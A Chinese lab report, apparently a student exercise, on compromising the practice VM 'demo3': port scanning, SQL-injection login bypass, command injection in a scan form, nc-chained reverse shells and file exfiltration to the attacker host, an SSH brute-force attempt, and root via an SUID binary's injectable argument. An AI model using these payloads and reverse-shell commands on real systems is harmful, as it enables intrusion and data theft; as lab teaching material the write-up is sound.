第 3 次实验:对demo3进行靶机渗透测试并获得 root 权限
一、实验目的
- 取得目标靶机 demo3 的 root 权限。
- 使用主机发现、端口扫描等等攻击手段。
二、实验内容
1) 主机发现
首先执行命令:
1 | sudo -i |

由此得到目标主机地址为 10.0.2.5。
2) 端口发现与扫描
执行以下命令对目标进行扫描(进一步验证是否为靶机;如不考虑时间可 nmap -p- 10.0.2.5):
1 | nmap 10.0.2.15 |

对靶机进行服务探测,确认端口服务与版本:
1 | nmap -p22,8080 -sV 10.0.2.5 |

发现 8080 端口为 Web 服务(检索可知是某 Web 开发库)。同时得知目标系统支持 Python 2.7。
3) Web 渗透
访问 10.0.2.5:8080,页面为“反病毒扫描”平台界面:

启用 FoxyProxy → 打开 Burp Suite → 在 Proxy / Intercept on 状态下随意输入凭据提交,右击拦截请求选择 Send to Intruder:

在 Intruder 中清空标记后仅选中“123”,添加要探测的字符(如 "、$ 等),点击 attack:

观察到 " 的 status code = 500 且响应长度异常,查看 response → render:

由报错可知存在双引号注入。关闭代理后在登录页输入:
1 | "or 1=1 # |
若报错,再尝试:
1 | "or 1=1 -- |
成功登录:

(也可尝试暴力破解)
根据页面提示为 scan 功能,输入 scan:

推测后端可能在命令行调用扫描器,于是用分号/管道符测试:
输入 bash;whoami 后成功执行(显示用户名 scanner),说明存在任意命令执行。
4) 提权
提权尝试 1
已知靶机支持 Python;先检测是否有 nc:
1 | bash | which nc |
输出 /bin/nc,说明可用 nc 串联反弹。
在 Kali 使用 tmux 分屏,分别监听 3333 与 4444(左为“会话1”,右为“会话2”)。网页输入并执行:
1 | hello | nc 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444 |

获得靶机 shell。会话1 输入 ls,会话2 显示结果;ls -l 可见 4 个文件与 2 个目录:

对 database.sql 感兴趣。会话1 执行:
1 | file database.sql |
判断为 SQLite 文件。新开终端监听 5555 并保存到本机:
1 | nc -nvlp 5555 > db.sql |
会话1 执行:
1 | nc 10.0.2.4 5555 < database.sql |

在本机查看/导出:
1 | sqlite3 |

发现 4 个疑似口令值(可用作邀请码/密码)。随后在会话1 获取可登录 shell 的用户名列表:
1 | cat /etc/passwd | grep /bin/bash |

退出 sqlite(.quit),使用 hydra 暴力测试。先在本机创建 user.txt 与 pass.txt(分别包含 3 个用户名与 4 个密码):

执行:
1 | hydra -L user.txt -P pass.txt ssh://10.0.2.5 |
未成功,转用其他方法。
提权尝试 2(SUID)
常见提权方式:
- 内核提权(前两次实验已使用)
- SUID 文件(以文件属主权限执行)
本次尝试 SUID。为便于分析,将扫描结果保存到文件再下载到本机查看。普通用户直接扫会有大量报错,因此把错误重定向到“黑洞”,正常输出重定向到 /tmp:
1 | find / -type f -perm -u+s 2>/dev/null > /tmp/suid.txt |
检查:
1 | ls -l /tmp/suid.txt |
新终端监听 5555 保存结果:
1 | nc -nvlp 5555 > suid.txt |
会话1 发送:
1 | nc 10.0.2.4 5555 < /tmp/suid.txt |

查看 suid.txt,注意到可疑条目:
1 | /home/scanner/update_cloudav |

在会话1 执行 whoami、pwd 后返回上级目录查看,得到漏洞源代码 updata_cloudav.c(注:文件名展示为 updata_cloudav.c):

打开源码:

可见该可执行文件需要一个参数;利用 SUID 特性,执行时将继承文件属主(root)的权限。
在 Kali 同时监听 7777 与 8888 端口,会话1 执行:
1 | ./update_cloudav "a|nc 10.0.2.4 7777 | /bin/bash | nc 10.0.2.4 8888" |
会话3、会话4 成功建立连接:

在会话3 输入:
1 | whoami |
会话4 显示 root —— 提权成功。
三、实验结果
通过攻击机 Kali Linux 对靶机 demo3 进行渗透测试,并成功获得 root 权限:

四、实验中遇到的问题及解决方案
- 问题: 拿到低权限 shell 后,查看
database.sql并尝试以用户名/密码暴力破解,未果。 - 解决: 改用 SUID 文件 特性进行提权,成功获取 root。
五、实验的启示 / 意见和建议
- 流程与前两次类似:先拿到低权限 shell,再进行提权。
- 本次未用内核漏洞,而是抓住 SUID 的“以属主权限执行”特性:定位 SUID → 下载到本机分析 → 回靶机利用。
- 掌握了利用 SUID 文件提权的完整思路与操作。